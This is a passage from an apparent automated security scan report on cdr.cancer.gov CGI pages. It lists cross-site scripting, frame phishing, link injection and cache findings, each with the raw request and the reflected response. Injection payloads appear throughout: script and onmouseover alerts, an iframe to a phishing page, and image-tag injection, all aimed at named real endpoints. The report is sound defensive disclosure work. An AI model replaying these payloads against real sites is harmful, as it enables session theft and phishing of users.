| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'guest%22onmouseover%3D%22alert%2838%29%22'

**Reasoning:**

**Request/Response:**

```
GET /cgi-bin/cdr/MiscSearch.py? Session=guest%22onmouseover%3D%22alert%2838%29%22 HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:29:31 GMT
Connection: close
Content-Length: 7218

...
: #000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/MiscSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest "onmouseover="alert(38)" ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Search
</TD>

...
...
: #000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/MiscSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest "onmouseover="alert(38)" ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
```

```
        <TD HEIGHT = "26"
        COLSPAN = "2"
        class = "header">CDR Advanced Search
        </TD>

        ...
```

## Issue 2 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448059 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MiscSearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to
'guest%27%22%3E%3Ciframe+id%3D475+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a
frame/iframe to URL "http://demo.testfire.net/phishing.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/MiscSearch.py? Session=guest%27%22%3E%3Ciframe+id%3D475+src%3Dhttp%3A%2F%2Fdemo.t
estfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:28:56 GMT
Connection: close
Content-Length: 7255


...
000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/MiscSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest'"> <iframe id=475 src= http://demo.testfire.net/phishing.html > >">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Se
...
...
000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/MiscSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest'"> <iframe id=475 src= http://demo.testfire.net/phishing.html > >">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Se
...
```

## Issue 3 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448164 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MiscSearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF476.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/MiscSearch.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF476.html%22%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:28:56 GMT
Connection: close
Content-Length: 7220


...
or: #000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/MiscSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = ""'> <IMG SRC="/WF_XSRF476.html"> ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Search
</TD>


...
...
or: #000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/MiscSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = ""'> <IMG SRC="/WF_XSRF476.html"> ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
```

```
        class = "header">CDR Advanced Search
        </TD>

        ...
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448174 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MiscSearch.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/MiscSearch.py?Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:26:09 GMT
Connection: close
Content-Length: 7194

<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML//EN'>
<HTML>
<HEAD>
<TITLE>Miscellaneous Search Form</TITLE>
<META HTTP-EQUIV = "Content-Type"
CONTENT = "text/html; charset=iso-8859-1">
<STYLE TYPE = "text/css">
<!--
*.header { font-family: Arial, Helvietica, sans-serif;
font-size: x-large;
white-space: nowrap;
color: #000066 }
*.subhdr { font-family: Arial, Helvietica, sans-serif;
font-size: large;
white-space: nowrap;
color: #0
...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448295 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MiscSearch.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/MiscSearch.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/MiscSearch.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:43:09 GMT
Connection: close
Content-Length: 7194

<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML//EN'>
<HTML>
<HEAD>
<TITLE>Miscellaneous Search Form</TITLE>
<META HTTP-EQUIV = "Content-Type"
CONTENT = "text/html; charset=iso-8859-1">
<STYLE TYPE = "text/css">
<!--
*.header { font-family: Arial, Helvietica, sans-serif;
font-size: x-large;
white-space: nowrap;
color: #000066 }
*.subhdr { font-family: Arial, Helvietica, sans-serif;
font-size: large;
white-space: nowrap;
color: #0
...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/ModifiedPubMedDocs.py - 5 issue(s)

### Issue 1 of 5

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448259 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ModifiedPubMedDocs.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(1242)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/ModifiedPubMedDocs.py? Session=None'/><script>alert(1242)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CitationReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 07:58:14 GMT
Connection: close
Content-Length: 26939

...
IZE='-1'>CDR0000432960</FONT>
</A>
</TD>
<TD BGCOLOR='white' ALIGN='left'><FONT SIZE='-1'>Vascular endothelial growth factor and basic
fibroblast growth factor urine levels as predictors of ...</FONT></TD>
</TR>
</TABLE>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(1242) </script>'>
</FORM>
</BODY>
</HTML>
...
IZE='-1'>CDR0000432960</FONT>
</A>
</TD>
<TD BGCOLOR='white' ALIGN='left'><FONT SIZE='-1'>Vascular endothelial growth factor and basic
fibroblast growth factor urine levels as predictors of ...</FONT></TD>
</TR>
</TABLE>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(1242) </script>'>
</FORM>
</BODY>
</HTML>
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448038 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ModifiedPubMedDocs.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1239.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/ModifiedPubMedDocs.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1239.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CitationReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 07:58:12 GMT
Connection: close
Content-Length: 26936

...
<FONT SIZE='-1'>CDR0000432960</FONT>
</A>
</TD>
<TD BGCOLOR='white' ALIGN='left'><FONT SIZE='-1'>Vascular endothelial growth factor and basic
fibroblast growth factor urine levels as predictors of ...</FONT></TD>
</TR>
</TABLE>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF1239.html"> '>
</FORM>
</BODY>
</HTML>
...
<FONT SIZE='-1'>CDR0000432960</FONT>
</A>
</TD>
<TD BGCOLOR='white' ALIGN='left'><FONT SIZE='-1'>Vascular endothelial growth factor and basic
fibroblast growth factor urine levels as predictors of ...</FONT></TD>
</TR>
</TABLE>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF1239.html"> '>
</FORM>
</BODY>
</HTML>
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448240 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ModifiedPubMedDocs.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to
'None%27%22%3E%3Ciframe+id%3D1238+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/ModifiedPubMedDocs.py? Session=None%27%22%3E%3Ciframe+id%3D1238+src%3Dhttp%3A%2F%
2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CitationReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 07:58:12 GMT
Connection: close
Content-Length: 26970

...
<FONT SIZE='-1'>CDR0000432960</FONT>
</A>
</TD>
<TD BGCOLOR='white' ALIGN='left'><FONT SIZE='-1'>Vascular endothelial growth factor and basic
fibroblast growth factor urine levels as predictors of ...</FONT></TD>
</TR>
</TABLE>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=1238 src= http://demo.testfire.net/p
hishing.html > >'>
</FORM>
</BODY>
</HTML>
...
<FONT SIZE='-1'>CDR0000432960</FONT>
</A>
</TD>
<TD BGCOLOR='white' ALIGN='left'><FONT SIZE='-1'>Vascular endothelial growth factor and basic
fibroblast growth factor urine levels as predictors of ...</FONT></TD>
</TR>
</TABLE>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=1238 src= http://demo.testfire.net/p
hishing.html > >'>
</FORM>
</BODY>
</HTML>
```

## Issue 4 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448047 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ModifiedPubMedDocs.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/ModifiedPubMedDocs.py'
- Set query string to 'Session=None'
```

**Reasoning:**

The application has responded with a response that indicates the page should be cached, but not ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or "Cache-Control: no-cache").

**Request/Response:**

```
GET /cgi-bin/cdr/ModifiedPubMedDocs.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CitationReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:14:33 GMT
Connection: close
Content-Length: 26908

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448204 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ModifiedPubMedDocs.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/ModifiedPubMedDocs.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CitationReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:48 GMT
Connection: close
Content-Length: 26908

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/PoliticalSubUnitSearch.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448196 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/PoliticalSubUnitSearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to 'guest%22onmouseover%3D%22alert%2840%29%22'
```

**Reasoning:**

**Request/Response:**

```
GET /cgi-bin/cdr/PoliticalSubUnitSearch.py? Session=guest%22onmouseover%3D%22alert%2840%29%22
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:30:11 GMT
Connection: close
Content-Length: 3057

...
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/PoliticalSubUnitSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest "onmouseover="alert(40)" ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Search
</TD>

...
...
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/PoliticalSubUnitSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest "onmouseover="alert(40)" ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
```

```
        COLSPAN = "2"
        class = "header">CDR Advanced Search
        </TD>

        ...
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448063 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/PoliticalSubUnitSearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF507.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/PoliticalSubUnitSearch.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF507.html%22
%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:29:36 GMT
Connection: close
Content-Length: 3059

...
}
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/PoliticalSubUnitSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = ""'> <IMG SRC="/WF_XSRF507.html"> ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Search
</TD>

...
...
}
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/PoliticalSubUnitSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = ""'> <IMG SRC="/WF_XSRF507.html"> ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
```

```
        COLSPAN = "2"
        class = "header">CDR Advanced Search
        </TD>

        ...
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448155 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/PoliticalSubUnitSearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'guest%27%22%3E%3Ciframe+id%3D506+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/PoliticalSubUnitSearch.py? Session=guest%27%22%3E%3Ciframe+id%3D506+src%3Dhttp%3A
%2F%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:29:35 GMT
Connection: close
Content-Length: 3094

...
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/PoliticalSubUnitSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest'"> <iframe id=506 src= http://demo.testfire.net/phishing.html > >">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Se
...
...
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/PoliticalSubUnitSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest'"> <iframe id=506 src= http://demo.testfire.net/phishing.html > >">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Se
...
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448283 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/PoliticalSubUnitSearch.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/PoliticalSubUnitSearch.py?Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:26:15 GMT
Connection: close
Content-Length: 3033

<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML//EN'>
<HTML>
<HEAD>
<TITLE>Political SubUnit Search Form</TITLE>
<META HTTP-EQUIV = "Content-Type"
CONTENT = "text/html; charset=iso-8859-1">
<STYLE TYPE = "text/css">
<!--
*.header { font-family: Arial, Helvietica, sans-serif;
font-size: x-large;
white-space: nowrap;
color: #000066 }
*.subhdr { font-family: Arial, Helvietica, sans-serif;
font-size: large;
white-space: nowrap;
color
...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448303 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/PoliticalSubUnitSearch.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/PoliticalSubUnitSearch.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
